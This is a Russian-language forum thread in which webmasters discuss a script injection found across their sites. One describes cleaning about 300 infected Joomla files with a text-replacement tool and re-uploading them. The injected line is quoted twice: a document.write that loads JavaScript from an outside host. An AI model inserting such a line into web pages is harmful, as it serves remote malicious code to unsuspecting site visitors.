[nash2711]

Вот такой вирус атакавал большую часть наших сайтов!!!что делать.может у кого было такое?

document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Web_20.js"></scr'+'ipt>');

Добавлено через 5 минут

Сообщение от nash2711

Вот такой вирус атакавал большую часть наших сайтов!!!что делать.может у кого было такое?

document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Web_20.js"></scr'+'ipt>');

И самое главное знает кто нибудь какой прогой можно это все почистить???

[stan31337]

Тоже промучался с час с этой фигней... В итоге вот к чему пришел... Около 300 файлов на сайте было заражено этой бякой.

Причем узнал об этом перед обновлением до Joomla 1.5.20 совершенно случайно - страничка главная не хотела открываться после обновления, открыл Index.php и мягко говоря выпал в осадок - не ожидал увидеть на своем сайте подобной заразы.
Долго и выразительно выругавшись полез в Инет, нашел программку @Text Replacer 2.17

Самое обидное - бэкап сайта уже был с заразными файлами, распаковал бэкап на своем компе, запустил прогу, ввел в нее две заразные строчки, нажал кнопку "Заменить" и она прошлась по всем распакованым файлам

Затем залил все это дело обратно на сайт FileZillой, умная Файлзилла спросила - что делать с одинаковыми файлами? Я ей сказал - меняй если размеры разные, ибо аплоадить 6500 файлов заново - это изврат.
Быстренько пробежавшись, файлзилла зааплоадила те исправленные файлы...

Надеюсь помог ответом